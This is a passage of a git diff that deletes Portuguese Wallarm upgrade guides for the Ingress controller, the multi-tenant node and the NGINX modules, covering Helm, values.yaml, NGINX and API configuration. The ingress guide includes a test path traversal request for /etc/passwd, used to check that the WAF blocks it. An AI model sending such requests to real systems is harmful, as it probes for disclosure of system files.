(`.controller.config`)](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/), por exemplo: - - ```diff - controller: - config: - + allow-backend-server-header: "false" - enable-brotli: "true" - gzip-level: "3" - hide-headers: Server - server-snippet: | - proxy_request_buffering on; - wallarm_enable_libdetection on; - ``` -* [Validação da sintaxe do Ingress via "webhook de admissão"](https://kubernetes.github.io/ingress-nginx/how-it-works/#avoiding-outage-from-wrong-configuration) agora está habilitada por padrão. - - ```diff - controller: - + admissionWebhooks: - + enabled: true - ``` - - !!! warning "Desativando a validação da sintaxe do Ingress" - É recomendável desativar a validação da sintaxe do Ingress apenas se destabilizar a operação de objetos Ingress. -* Formato de [Label](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/). Se o arquivo `values.yaml` define regras de afinidade de pod, altere o formato do rótulo nessas regras, por exemplo: - - ```diff - controller: - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - podAffinityTerm: - labelSelector: - matchExpressions: - - - key: app - + - key: app.kubernetes.io/name - operator: In - values: - - waf-ingress - - - key: component - + - key: app.kubernetes.io/component - operator: In - values: - - - waf-ingress - + - controller - - - key: release - + - key: app.kubernetes.io/instance - operator: In - values: - - waf-ingress-ingress - topologyKey: kubernetes.io/hostname - weight: 100 - ``` - -### Configuração do módulo Wallarm - -Altere a configuração do módulo Wallarm definida no arquivo `values.yaml` como segue: - -* Se estiver atualizando da versão 2.18 ou inferior, [migre](../migrate-ip-lists-to-node-3.md) a configuração da lista de IP. Estes são os seguintes parâmetros que potencialmente devem ser excluídos de `values.yaml`: - - ```diff - controller: - wallarm: - enabled: true - - acl: - - enabled: true - resources: {} - ``` - - Como a lógica central da lista de IP foi significativamente alterada no nó Wallarm 3.x, é necessário ajustar a configuração da lista de IP adequadamente. -* Certifique-se de que o comportamento esperado das configurações listadas abaixo corresponde à [lógica alterada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - - * [Diretiva `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Regra de filtragem geral configurada no Console Wallarm](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Console Wallarm](../../user-guides/rules/wallarm-mode-rule.md) - - Caso o comportamento esperado não corresponda à lógica modificada do modo de filtragem, ajuste as [anotações de Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) e [outras configurações](../../admin-en/configure-wallarm-mode.md) para as alterações lançadas. -* Elimine a [configuração do serviço de monitoramento](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) explícita. Na nova versão do controlador Wallarm Ingress, o serviço de monitoramento é habilitado por padrão e não requer nenhuma configuração adicional. - - ```diff - controller: - wallarm: - enabled: true - tarantool: - resources: {} - - metrics: - - enabled: true - - service: - - annotations: {} - ``` -* Se a página `&/usr/share/nginx/html/wallarm_blocked.html` configurada via ConfigMap era retornada para solicitações bloqueadas, [ajuste sua configuração](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) para as alterações lançadas. - - Na nova versão do nó, a página de bloqueio de amostra da Wallarm [tem](what-is-new.md#new-blocking-page) a UI atualizada sem logotipo e email de suporte especificado por padrão. -* Se você personalizou a detecção de ataque `overlimit_res` através das diretrizes NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] e [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs], por favor, [transfira](#step-6-transfer-the-overlimit_res-attack-detection-configuration-from-directives-to-the-rule) estas configurações para a regra e delete do arquivo `values.yaml`. - -## Passo 6: Transferir a configuração de detecção de ataque `overlimit_res` das diretivas à regra - ---8<-- "../include-pt-BR/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md" - -## Passo 7: Verifique todas as mudanças dos manifestos K8s que estão por vir - -Para evitar mudanças inesperadamente no comportamento do Controlador de Entrada, revise todas as mudanças dos manifestos K8s que estão por vir usando [Helm Diff Plugin](https://github.com/databus23/helm-diff). Este plugin exibe a diferença entre os manifestos K8s da versão do Controlador de Entrada implantada e da nova. - -Para instalar e rodar o plugin: - -1. Instale o plugin: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Execute o plugin: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 4.8.2 -f - ``` - - * ``: O nome da liberação Helm com o gráfico do Controlador de Entrada - * ``: O namespace onde o Controlador de Entrada está implantado - * ``: o caminho para o arquivo `values.yaml` que define as [configurações do controlador de entrada 4.8](#step-5-update-the-valuesyaml-configuration) -3. Certifique-se de que nenhuma mudança pode afetar a estabilidade dos serviços em execução e examine cuidadosamente os erros do stdout. - - Se a stdout estiver vazia, verifique se o arquivo `values.yaml` é válido. - -Por favor, note as mudanças das seguintes configurações: - -* Campo imutável, por exemplo, os seletores de implantação e/ou StatefulSet. -* Labels de pod. As mudanças podem levar à interrupção da operação do NetworkPolicy, por exemplo: - - ```diff - apiVersion: networking.k8s.io/v1 - kind: NetworkPolicy - spec: - egress: - - to: - - namespaceSelector: - matchExpressions: - - key: name - operator: In - values: - - kube-system # ${NAMESPACE} - podSelector: - matchLabels: # RELEASE_NAME=waf-ingress - - app: waf-ingress - + app.kubernetes.io/component: "controller" - + app.kubernetes.io/instance: "waf-ingress" - + app.kubernetes.io/name: "waf-ingress" - - component: waf-ingress - ``` -* Configuração do Prometheus com novos labels, por exemplo: - - ```diff - - job_name: 'kubernetes-ingress' - kubernetes_sd_configs: - - role: pod - namespaces: - names: - - kube-system # ${NAMESPACE} - relabel_configs: # RELEASE_NAME=waf-ingress - # Selectors - - - source_labels: [__meta_kubernetes_pod_label_app] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_release] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_instance] - action: keep - regex: waf-ingress - - - source_labels: [__meta_kubernetes_pod_label_component] - + - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_component] - action: keep - - regex: waf-ingress - + regex: controller - - source_labels: [__meta_kubernetes_pod_container_port_number] - action: keep - regex: "10254|18080" - # Replacers - - action: replace - target_label: __metrics_path__ - regex: /metrics - - action: labelmap - regex: __meta_kubernetes_pod_label_(.+) - - source_labels: [__meta_kubernetes_namespace] - action: replace - target_label: kubernetes_namespace - - source_labels: [__meta_kubernetes_pod_name] - action: replace - target_label: kubernetes_pod_name - - source_labels: [__meta_kubernetes_pod_name] - regex: (.*) - action: replace - target_label: instance - replacement: "$1" - ``` -* Analisar todas as outras mudanças. - -## Passo 8: Atualize o Controlador de Entrada - -Existem três maneiras de atualizar o controlador de entrada Wallarm. Dependendo de haver ou não um balanceador de carga implantado em seu ambiente, selecione o método de atualização: - -* Implantação do controlador de entrada temporário -* Re-criação regular do lançamento do controlador de entrada -* Lançamento do controlador de entrada de criação sem afetar o balanceador de carga - -!!! warning "Usando o ambiente de teste ou minikube" - Se o controlador de entrada Wallarm estiver implantado no seu ambiente de teste, é recomendável atualizá-lo primeiro. Com todos os serviços operando corretamente no ambiente de teste, você pode prosseguir para o procedimento de atualização no ambiente de produção. - - A menos que seja recomendado [implantar o Controlador Wallarm Ingress 4.8](../../admin-en/installation-kubernetes-en.md) com a configuração atualizada usando minikube ou outro serviço primeiro. Certifique-se de que todos os serviços funcionam conforme o esperado e depois atualize o controlador de entrada no ambiente de produção. - - Essa abordagem ajuda a evitar o tempo de inatividade dos serviços no ambiente de produção. - -### Método 1: Implantação do controlador de entrada temporário - -Usando este método, você pode implantar o Controlador de Entrada 4.8 como uma entidade adicional em seu ambiente e alternar o tráfego para ele gradualmente. Isso ajuda a evitar mesmo tempo de inatividade temporário de serviços e garante uma migração segura. - -1. Copie a configuração IngressClass do arquivo `values.yaml` da versão anterior para o arquivo `values.yaml` para o controlador de entrada Wallarm 4.8. - - Com essa configuração, o controlador de entrada identificará os objetos Ingress, mas não processará seu tráfego. -2. Implantar o Controlador de Entrada 4.8: - - ```bash - helm install -n wallarm/wallarm-ingress --version 4.8.2 -f - ``` - - * ``: O nome para a liberação Helm do gráfico do controlador de entrada. - * ``: O namespace para implantar o controlador de entrada. - * ``: o caminho para o arquivo `values.yaml` que define as [configurações do controlador de entrada 4.8](#step-5-update-the-valuesyaml-configuration) -3. Certifique-se de que todos os serviços funcionam corretamente. -4. Troque a carga para o novo controlador de entrada gradualmente. - -### Método 2: Re-criação regular do lançamento do controlador de entrada - -**Se o balanceador de carga e o controlador de entrada NÃO estiverem descritos no mesmo gráfico Helm**, você pode simplesmente recriar o lançamento Helm. Levará alguns minutos e o controlador de entrada ficará indisponível durante esse tempo. - -!!! warning "Se o gráfico Helm definir a configuração de um balanceador de carga" - Se o gráfico Helm definir a configuração de um balanceador de carga junto com o controlador de entrada, a recriação do lançamento pode levar a um longo tempo de inatividade do balanceador de carga (depende do provedor de nuvem). O endereço IP do balanceador de carga pode ser alterado após a atualização se o endereço constante não estiver atribuído. - - Por favor, analise todos os possíveis riscos se estiver usando este método. - -Para recriar o lançamento do Controlador de Entrada: - -=== "Helm CLI" - 1. Exclua o lançamento anterior: - - ```bash - helm delete -n - ``` - - * ``: O nome do lançamento Helm com o gráfico do Controlador de Entrada - - * ``: O namespace onde o controlador de entrada está implantado - - Por favor, não use a opção `--wait` ao executar o comando, pois pode aumentar o tempo de atualização. - - 2. Crie um novo lançamento com o Controlador de Entrada 4.8: - - ```bash - helm install -n wallarm/wallarm-ingress --version 4.8.2 -f `` - ``` - - * ``: O nome para o lançamento Helm do gráfico do Controlador de Entrada - * ``: O namespace para implantar o Controlador de Entrada - * ``: O caminho para o arquivo `values.yaml` que define as [configurações do controlador de entrada 4.8](#step-5-update-the-valuesyaml-configuration) -=== "Terraform CLI" - 1. Defina a opção `wait = false` na configuração do Terraform para diminuir o tempo de atualização: - - ```diff - resource "helm_release" "release" { - ... - - + wait = false - - ... - } - ``` - - 2. Exclua o lançamento anterior: - - ```bash - terraform taint helm_release.release - ``` - - 3. Crie o novo lançamento com o Controlador de Entrada 4.8: - - ```bash - terraform apply -target=helm_release.release - ``` - -### Método 3: Criação do lançamento do controlador de entrada sem afetar o balanceador de carga - -Ao usar o balanceador de carga configurado pelo provedor de nuvem, recomenda-se atualizar o controlador de entrada com este método porque não afeta o balanceador de carga. - -A recriação do lançamento levará alguns minutos e o controlador de entrada ficará indisponível durante esse tempo. - -1. Obtenha os objetos a serem excluídos (exceto o balanceador de carga): - - ```bash - helm get manifest -n | yq -r '. | select(.spec.type != "LoadBalancer") | .kind + "/" + .metadata.name' | tr 'A-Z' 'a-z' > objects-to-remove.txt - ``` - - Para instalar a utilidade `yq`, use as [instruções](https://pypi.org/project/yq/). - - Os objetos a serem excluídos serão emitidos para o arquivo `objects-to-remove.txt`. -2. Exclua os objetos listados e recrie o lançamento: - - ```bash - cat objects-to-remove.txt | xargs kubectl delete --wait=false -n && \ - helm upgrade -n wallarm/wallarm-ingress --version 4.8.2 -f `` - ``` - - Para diminuir o tempo de inatividade do serviço, NÃO é recomendável executar comandos separadamente. -3. Garanta que todos os objetos são criados: - - ```bash - helm get manifest -n | kubectl create -f - - ``` - - A saída deve dizer que todos os objetos já existem. - -Estão os seguintes parâmetros passados nos comandos: - -* ``: O nome do lançamento Helm com o gráfico do Controlador de Entrada. -* ``: O namespace onde o controlador de entrada está implantado. -* ``: O caminho para o arquivo `values.yaml` definindo as [configurações do controlador de entrada 4.8](#step-5-update-the-valuesyaml-configuration). - -## Passo 9: Teste o controlador de entrada atualizado - -1. Verifique se a versão do gráfico Helm foi atualizada: - - ```bash - helm ls - ``` - - A versão do gráfico deve corresponder a `wallarm-ingress-4.8.2`. -2. Obtenha a lista de pods especificando o nome do controlador de entrada Wallarm em ``: - - ``` bash - kubectl get pods -l release= - ``` - - Cada status do pod deve ser **STATUS: Running** ou **READY: N/N**. Por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` - -3. Envie a solicitação com o teste [Path Traversal](../../attacks-vulns-list.md#path-traversal) ataque ao endereço do controlador de entrada Wallarm: - - ```bash - curl http:///etc/passwd - ``` - - Se o nó de filtragem estiver funcionando no modo `block`, o código `403 Forbidden` será retornado em resposta à solicitação e o ataque será exibido no Console Wallarm → **Eventos**. - -## Passo 10: Ajuste as anotações do Ingress para as mudanças lançadas - -Ajuste as seguintes anotações do Ingress para as mudanças lançadas no controlador de entrada 4.8: - -1. Se estiver atualizando a partir da versão 2.18 ou inferior, [migre](../migrate-ip-lists-to-node-3.md) a configuração da lista de IPs. Como a lógica principal da lista de IPs foi significativamente alterada no nó Wallarm 3.x, é necessário ajustar a configuração da lista de IPs adequadamente, alterando as anotações do Ingress (se aplicável). -1. Certifique-se de que o comportamento esperado das configurações listadas abaixo corresponde à [lógica alterada dos modos de filtragem `off` e `monitoring`](what-is-new.md#filtration-modes): - - * [Diretiva `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Regra de filtragem geral configurada no Console Wallarm](../../user-guides/settings/general.md) - * [Regras de filtragem de baixo nível configuradas no Console Wallarm](../../user-guides/rules/wallarm-mode-rule.md) - - Caso o comportamento esperado não corresponda à lógica modificada do modo de filtragem, ajuste as [anotações de Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) para as alterações lançadas. -1. Se o Ingress estiver anotado com `nginx.ingress.kubernetes.io/wallarm-instance`, renomeie esta anotação para `nginx.ingress.kubernetes.io/wallarm-application`. - - Apenas o nome da anotação mudou, sua lógica permanece a mesma. A anotação com o nome anterior será descontinuada em breve, então recomenda-se renomeá-la antes. -1. Se a página `&/usr/share/nginx/html/wallarm_blocked.html` configurada via anotações do Ingress é retornada para solicitações bloqueadas, [ajuste sua configuração](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) para as alterações lançadas. - - Nas novas versões do nó, a página de bloqueio de amostra da Wallarm [tem](what-is-new.md#new-blocking-page) a IU atualizada sem logotipo e email de suporte especificado por padrão. - -## Passo 11: Reative o módulo de verificação de ameaça ativa (apenas se atualizar o nó 2.16 ou inferior) - -Conheça a [recomendação sobre a configuração do módulo de verificação de ameaças ativas](../../vulnerability-detection/threat-replay-testing/setup.md) e reative-o se necessário. - -Depois de um tempo, garanta que a operação do módulo não cause falsos positivos. Se descobrir falsos positivos, por favor, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/multi-tenant.md b/docs/latest-pt-BR/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 547dd3f4df..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1,247 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png - -# Atualizando o nó multi-inquilino EOL - -Estas instruções descrevem as etapas para atualizar o nó multi-inquilino de fim de vida (versão 3.6 e inferior) até a versão 4.8. - -## Requisitos - -* Execução de comandos adicionais pelo usuário com a função **Administrador global** adicionada sob a [conta de inquilino técnico](../../installation/multi-tenant/configure-accounts.md#tenant-account-structure) -* Acesso a `https://us1.api.wallarm.com` se trabalhando com Wallarm Cloud dos EUA ou a `https://api.wallarm.com` se trabalhando com Wallarm Cloud da UE. Certifique-se de que o acesso não está bloqueado por um firewall - -## Passo 1: Entre em contato com a equipe de suporte da Wallarm - -Solicite a assistência da [equipe de suporte da Wallarm](mailto:support@wallarm.com) para obter a versão mais recente do recurso de [construção de conjunto de regras personalizado](../../user-guides/rules/rules.md) durante a atualização do nó multi-inquilino. - -!!! info "Atualização bloqueada" - O uso de uma versão incorreta do recurso de construção de conjunto de regras personalizado pode bloquear o processo de atualização. - -A equipe de suporte também ajudará você a responder a todas as perguntas relacionadas à atualização do nó multi-inquilino e à reconfiguração necessária. - -## Passo 2: Siga o procedimento padrão de atualização - -Os procedimentos padrão são aqueles para: - -* [Atualizando os módulos NGINX da Wallarm](nginx-modules.md) -* [Atualizando o módulo de pós-análise](separate-postanalytics.md) -* [Atualizando a imagem NGINX- ou Envoy-baseada em Docker da Wallarm](docker-container.md) -* [Atualizando o controlador de entrada NGINX com módulos Wallarm integrados](ingress-controller.md) -* [Atualizando a imagem do nó na nuvem](cloud-image.md) - -!!! warning "Criando o nó multi-inquilino" - Durante a criação do nó Wallarm, selecione a opção **Nó multi-inquilino**: - - ![Criação de nó multi-inquilino](../../images/user-guides/nodes/create-multi-tenant-node.png) - -## Passo 3: Reconfigure a multilocação - -Reescreva a configuração de como o tráfego está associado a seus inquilinos e suas aplicações. Considere o exemplo abaixo. No exemplo: - -* O inquilino representa o cliente do parceiro. O parceiro tem dois clientes. -* O tráfego direcionado para `tenant1.com`e `tenant1-1.com` deve ser associado ao cliente 1. -* O tráfego direcionado para `tenant2.com` deve ser associado ao cliente 2. -* O cliente 1 também possui três aplicações: - * `tenant1.com/login` - * `tenant1.com/users` - * `tenant1-1.com` - - O tráfego direcionado a esses 3 caminhos deve ser associado à aplicação correspondente; o restante deve ser considerado como tráfego genérico do cliente 1. - -### Estude sua configuração de versão anterior - -Na versão 3.6, isso poderia ser configurado da seguinte maneira: - -``` -server { - server_name tenant1.com; - wallarm_application 20; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_application 24; - ... -} -... -} -``` - -Observações sobre a configuração acima: - -* O tráfego direcionado para `tenant1.com` e `tenant1-1.com` está associado ao cliente 1 através dos valores `20` e `23`, vinculados a este cliente através do pedido de API. -* Solicitações de API semelhantes deveriam ter sido enviadas para vincular outras aplicações aos inquilinos. -* Os inquilinos e as aplicações são entidades separadas, portanto, é lógico configurá-los com as diferentes diretivas. Além disso, seria conveniente evitar solicitações adicionais de API. Seria lógico definir relações entre os inquilinos e as aplicações através da própria configuração. Tudo isso está ausente na configuração atual, mas estará disponível na nova abordagem 4.x descrita abaixo. - -### Estude a abordagem 4.x - -Na versão 4.x, UUID é a forma de definir o inquilino na configuração do nó. - -Para reescrever a configuração, faça o seguinte: - -1. Obtenha os UUIDs de seus inquilinos. -1. Inclua inquilinos e defina suas aplicações no arquivo de configuração NGINX. - -### Obtenha UUIDs de seus inquilinos - -Para obter a lista de inquilinos, envie solicitações autenticadas para a API da Wallarm. A abordagem de autenticação é a mesma que a [usada para a criação do inquilino](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -1. Obtenha o(s) `clientid`(s) para posteriormente encontrar UUIDs relacionados a eles: - - === "Através do Console Wallarm" - - Copie o(s) `clientid`(s) da coluna **ID** na interface do usuário do Console Wallarm: - - ![Selecionador de inquilinos no Console Wallarm](../../images/partner-waf-node/clients-selector-in-console-ann.png) - === "Ao enviar solicitação para API" - 1. Envie a solicitação GET para a rota `/v2/partner_client`: - - !!! info "Exemplo de solicitação enviada do seu próprio cliente" - === "Nuvem dos EUA" - ``` bash - curl -X GET \ - 'https://us1.api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - === "Nuvem da UE" - ``` bash - curl -X GET \ - 'https://api.wallarm.com/v2/partner_client?partnerid=PARTNER_ID' \ - -H 'accept: application/json' \ - -H "X-WallarmApi-Token: " - ``` - - Onde `PARTNER_ID` é aquele obtido no [**Passo 2**](../../installation/multi-tenant/configure-accounts.md#step-2-get-access-to-the-tenant-account-creation) do procedimento de criação de inquilino. - - Exemplo de resposta: - - ``` - { - "body": [ - { - "id": 1, - "partnerid": , - "clientid": , - "params": null - }, - { - "id": 3, - "partnerid": , - "clientid": , - "params": null - } - ] - } - ``` - - 1. Copie o(s) `clientid`(s) da resposta. -1. Para obter o UUID de cada inquilino, envie a solicitação POST para a rota `v1/objects/client`: - - !!! info "Exemplo de solicitação enviada do seu próprio cliente" - === "Nuvem dos EUA" - ``` bash - curl -X POST \ - https://us1.api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - === "Nuvem da UE" - ``` bash - curl -X POST \ - https://api.wallarm.com/v1/objects/client \ - -H 'content-type: application/json' \ - -H 'X-WallarmApi-Token: ' \ - -d '{ "filter": { "id": [, ]}}' - ``` - - Exemplo de resposta: - - ``` - { - "status": 200, - "body": [ - { - "id": , - "name": "", - ... - "uuid": "11111111-1111-1111-1111-111111111111", - ... - }, - { - "id": , - "name": "", - ... - "uuid": "22222222-2222-2222-2222-222222222222", - ... - } - ] - } - ``` - -1. Da resposta, copie o(s) `uuid`(s). - -### Inclua inquilinos e defina suas aplicações no arquivo de configuração NGINX - -No arquivo de configuração do NGINX: - -1. Especifique os UUIDs de inquilino recebidos acima nas diretivas [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). -1. Defina os IDs da aplicação protegida nas diretivas [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application). - - Se a configuração do NGINX usada para o nó versão 3.6 ou inferior envolvia configuração de aplicação, apenas especifique os UUIDs de inquilino e mantenha a configuração de aplicação inalterada. - -Exemplo: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name tenant1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name tenant2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -Na configuração acima: - -* Inquilinos e aplicações são configurados com diferentes diretivas. -* As relações entre os inquilinos e as aplicações são definidas através das diretivas `wallarm_application` nos blocos correspondentes do arquivo de configuração NGINX. - -## Passo 4: Teste a operação do nó multi-inquilino Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/updating-migrating/older-versions/nginx-modules.md b/docs/latest-pt-BR/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index 2e3d32cbef..0000000000 --- a/docs/latest-pt-BR/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1,605 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../installation/custom/custom-nginx-version.md -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/graylist.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[sqli-attack-docs]: ../../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../../installation/oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring - -# Atualizando módulos NGINX Wallarm EOL - -Estas instruções descrevem as etapas para atualizar os módulos NGINX Wallarm end‑of‑life (versão 3.6 e abaixo) para a versão 4.8. Os módulos NGINX Wallarm são os módulos instalados de acordo com uma das seguintes instruções: - -* [Pacotes individuais para NGINX estável](../../installation/nginx/dynamic-module.md) -* [Pacotes individuais para NGINX Plus](../../installation/nginx-plus.md) -* [Pacotes individuais para NGINX fornecido pela distribuição](../../installation/nginx/dynamic-module-from-distr.md) - ---8<-- "../include-pt-BR/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## Informe ao suporte técnico da Wallarm sobre a atualização do nó EOL - -Se estiver atualizando os módulos NGINX Wallarm end‑of‑life (versão 3.6 e abaixo) para a versão 4.8, informe [o suporte técnico da Wallarm](mailto:support@wallarm.com) sobre isso e peça assistência. - -Além de qualquer outra ajuda, peça para ativar a nova lógica de listas de IP para sua conta Wallarm. Quando a nova lógica de listas de IP estiver ativada, abra o Console Wallarm e certifique-se de que a seção [**IP lists**](../../user-guides/ip-lists/overview.md) está disponível. - -## Métodos de atualização - ---8<-- "../include-pt-BR/waf/installation/upgrade-methods.md" - -## Atualização com instalador all-in-one - -Use o procedimento abaixo para atualizar os módulos NGINX Wallarm end‑of‑life (versão 3.6 e abaixo) para a versão 4.8 usando [o instalador all-in-one](../../installation/nginx/all-in-one.md). - -### Requisitos para atualização usando o instalador all-in-one - ---8<-- "../include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md" - -### Procedimento de atualização - -* Se os módulos de nó de filtragem e postanalítica estiverem instalados no mesmo servidor, siga as instruções abaixo para atualizar todos. - - Você precisará executar um nó da versão mais nova usando o instalador all-in-one em uma máquina limpa, testar se ele funciona corretamente e parar o anterior e configurar o tráfego para fluir através da nova máquina em vez da anterior. - -* Se os módulos de nó de filtragem e postanalítica estiverem instalados em servidores diferentes, **primeiro** atualize o módulo postanalytics e **depois** o módulo de filtragem seguindo estas [instruções](separate-postanalytics.md). - -### Passo 1: Desative o módulo de Verificação de ameaças ativas (se estiver atualizando nó 2.16 ou abaixo) - -Se estiver atualizando o nó Wallarm 2.16 ou abaixo, desative o módulo [Verificação de ameaças ativas](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) no Console Wallarm → **Vulnerabilidades** → **Configurar**. - -A operação do módulo pode causar [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives) durante o processo de atualização. Desativar o módulo minimiza este risco. - -### Passo 2: Prepare a máquina limpa - ---8<-- "../include-pt-BR/waf/installation/all-in-one-clean-machine.md" - -### Passo 3: Instale o NGINX e as dependências - ---8<-- "../include-pt-BR/waf/installation/all-in-one-nginx.md" - -### Passo 4: Prepare o token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -### Passo 5: Baixe o instalador all-in-one do Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -### Passo 6: Execute o instalador all-in-one do Wallarm - -#### Nó de filtragem e postanalytics no mesmo servidor - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -#### Nó de filtragem e postanalytics em servidores diferentes - -!!! warning "Sequência de etapas para atualizar os módulos de nó de filtragem e postanalytics" - Se os módulos de nó de filtragem e postanalítica estiverem instalados em servidores diferentes, será necessário atualizar os pacotes de postanalítica antes de atualizar os pacotes de nó de filtragem. - -1. Atualize o módulo postanalytics seguindo estas [instruções](separate-postanalytics.md). -1. Atualize o nó de filtragem: - - === "Token da API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (usado para agrupamento lógico de nós na interface de usuário do Console Wallarm). - - === "Token do nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - -### Passo 7: Migrar allowlists e denylists da versão anterior do nó Wallarm para 4.8 (somente se estiver atualizando nó 2.18 ou abaixo) - -Se estiver atualizando nó 2.18 ou abaixo, [migre](../migrate-ip-lists-to-node-3.md) a configuração de allowlist e denylist da versão anterior do nó Wallarm para a versão mais recente. - -### Passo 8: Transferir a configuração do NGINX e postanalytics do antigo nó para o novo - -Transfira a configuração relacionada ao nó do NGINX e a configuração da postanalítica dos arquivos de configuração na máquina antiga para os arquivos na nova máquina. Você pode fazer isso copiando as diretivas necessárias. - -**Arquivos de origem** - -Em uma máquina antiga, dependendo do SO e da versão do NGINX, os arquivos de configuração do NGINX podem estar localizados em diretórios diferentes e ter nomes diferentes. Os mais comuns são os seguintes: - -* `/etc/nginx/conf.d/default.conf` com configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a grupos de domínios diferentes, geralmente é usado o `default.conf` ou é criado um novo arquivo de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -* `/etc/nginx/conf.d/wallarm-status.conf` com configurações de monitoramento do nó Wallarm. Uma 